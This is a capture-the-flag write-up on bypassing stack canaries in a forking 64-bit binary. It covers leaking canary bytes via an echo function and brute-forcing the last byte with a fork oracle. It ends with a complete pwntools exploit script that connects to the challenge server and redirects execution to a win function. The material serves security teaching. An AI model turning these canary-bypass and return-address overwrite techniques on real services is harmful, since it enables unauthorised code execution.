BASH - Basic Asynchronous Shell

Luigi Dell'Eva, 13/05/2024.

Background

The challenge is accessible through a shell using the command `nc cyberchallenge.disi.unitn.it 50200` and by giving as input 1 or 2 allows you to echo or convert a string to uppercase, respectively. To exit the program you can press 3.

Binary exploitation is a specialized area within cybersecurity that focuses on identifying and exploiting vulnerabilities in compiled applications, such as Linux ELF files or Windows executables, to gain unauthorized access or modify the behavior of these programs. This process involves understanding and manipulating various aspects of the program's execution environment, including registers, the stack, calling conventions, buffers, and the heap. [1] To perform these analysis, we can use tools used in **reverse engineering** such as **Ghidra**, **GDB**, **ltrace**, **strace** and so on.

Common techniques used in binary exploitation include **buffer overflow attacks**, return-oriented programming (ROP), and exploiting format string vulnerabilities. Additionally, binary exploitation often involve dealing with security measures like **No eXecute** (NX), **Address Space Layout Randomization** (ASLR) and **stack canaries**. [1]

In particular, **stack canaries** are a security feature designed to protect against buffer overflow attacks by introducing a **random value**, known as a canary, between the buffer and the return address on the stack. This canary acts as a **guard**, monitoring any attempts to overwrite it. If an attacker tries to modify the canary, it will be detected, and the program will terminate, preventing any further execution of the malicious code. [2]

Canaries are not a foolproof solution, as they can be bypassed exploiting vulnerability of the program. For example, if the program has a **format string vulnerability**, an attacker can use this to leak the canary value and then craft a malicious payload that includes the correct canary value. [3] These vulnerabilities are more likely to be exploited when we use function with no fixed length input, such as `gets` and `strcpy`. By simply using `fgets` or `strncpy` which have a fixed length input, we can avoid this kind of attack. Other than that we can also utilize ASLR to make the address of the stack canary unpredictable.

Vulnerability

By reading the data of the **stack canary** we can send it back to the program and bypass security checks since its value does not change during the execution. Additionally, if we are not able to read its entire value, we can use a **fork oracle** to brute force its remaining bytes. The **canary fork oracle** is a technique used in binary exploitation to bypass stack canaries, a security measure designed to prevent buffer overflow attacks. This technique exploits the fact that when a **program forks**, it retains the **same stack canary** value in the child process. By sending input that can overwrite the canary to the child process, an attacker can use the program's crash behavior as an oracle to brute-force the canary value byte by byte. Linux makes this process slightly more difficult by using a NULL byte as first canary byte, and string function will stop reading when they encounter it. This can be bypassed by partially overwriting the canary and then put the NULL byte back. [3]

Solution

First of all we can analyze the program with `file` and `pwn check bin` which shows that the program is a 64-bit ELF file and its using stack canaries and NX protection but no PIE (Position Independent Executable) is enabled, so we know that the address of the program will be the same every time we run it. Using the command `readelf -s bin | grep win` we can retrieve the address of the function `win` which is `0x4011f6` which we will use later to jump to it.

Now we need find the offset of the canary. We can do this by using GDB and setting a breakpoint at the `main` function where the canary is checked, in our case `0x4014f6` then by creating a pattern with `pattern create 100`, passing it as input to the program (and then exiting by pressing 3) we can see that the program triggers the breakpoint. By checking the register in which is stored the canary (`x/gx $rsp-0x8`) we can take its value and find the offset with `pattern offset <$rsp-0x8-value>`, which in our case is 72.

Knowing that the program forks, we can use the function `echo` to leak the canary value. We can do this by sending a string of 72 + 1 bytes, where the 73th byte is needed to overwrite the NULL byte of the canary, allowing us to read its value. Unfortunately the `printf` function implemented in the program prints only 79 character which means that we will be only able to retrieve the first 6 bytes plus the NULL byte we overwrote. Note that we must use the `echo` function because the `gets` (used in `toUpper`) function puts a terminator character (`\0`) at the end of the read string, which will stop the `printf` function from printing the canary value. [5]

At this point to retrieve the last byte of the canary we can use a **fork oracle** to brute force it. We can do this by concatenating 72 characters (offset) plus the 7 bytes we already know, then we can use a loop to try all the possible values for the last byte of the canary and check if the program (child forked) crashes or not. If the program crashes we know that the byte is wrong, otherwise we can stop and concatenate it to the other 7 bytes we already know. Contrary to before here we have to use `toUpper` function because the `echo` function reads only 73 bytes, not enough to send the offset + canary.

Now that we have the canary value we can craft the payload to jump to the `win` function by concatenating the 72 bytes of the offset, the 8 bytes of the canary, the 8 bytes the previous rbp and finally the new return address which is the address of the `win` function.

```python
from pwn import *
from Crypto.Util.number import long_to_bytes

address = 0x00000000004011f6

canary_offset = 72

#p = process('./bin')
#p = gdb.debug('./bin')
p = remote('cyberchallenge.disi.unitn.it', 50200)

p.recvuntil(b'Exit\n')
p.sendline(b'1')
p.send(b"A" * (canary_offset + 1))

p.recvuntil(b"A" * (canary_offset + 1))

canary = p.recv(6)
canary = b"\x00" + canary

log.info(f"Canary: {canary}, {canary.hex()}")

currentByte = b'\x00'
for i in range(255):

    currentByte = long_to_bytes(i)

    print("[+] Trying %s..." % currentByte.hex())

    DATA = b"A" * canary_offset
    DATA += canary
    DATA += currentByte

    p.recvuntil(b'Exit\n')

    p.sendline(b'2')
    p.sendline(DATA)

    received = ""
    received = p.recvuntil(b'stack', timeout=2)

    if b"stack" not in received:
        canary += currentByte
        print("\n[*] Found Canary byte: %s\n" % currentByte.hex())
        break


log.info(f"Canary: {canary}, {canary.hex()}")

payload = b"A" * canary_offset + canary + b"B" * 8 + p64(address)

p.recvuntil(b'Exit\n')
p.sendline(payload)
p.recvuntil(b'Exit\n')
p.sendline(b'3')

msg = p.recvall()
print(msg)

p.interactive()
```

References

[1] Binary exploitation: https://medium.com/@0day_exploit/unveiling-the-power-of-binary-exploitation-mastering-stack-based-overflow-techniques-d263c8a07f67

[2] Stack canaries: https://bluegoatcyber.com/blog/protecting-your-stack-the-importance-of-stack-canaries-in-security/

[3] Canary vulnerability: https://ctf101.org/binary-exploitation/stack-canaries/

[4] Canary protection: https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/

[5] Gets manual: https://man7.org/linux/man-pages/man3/gets.3.html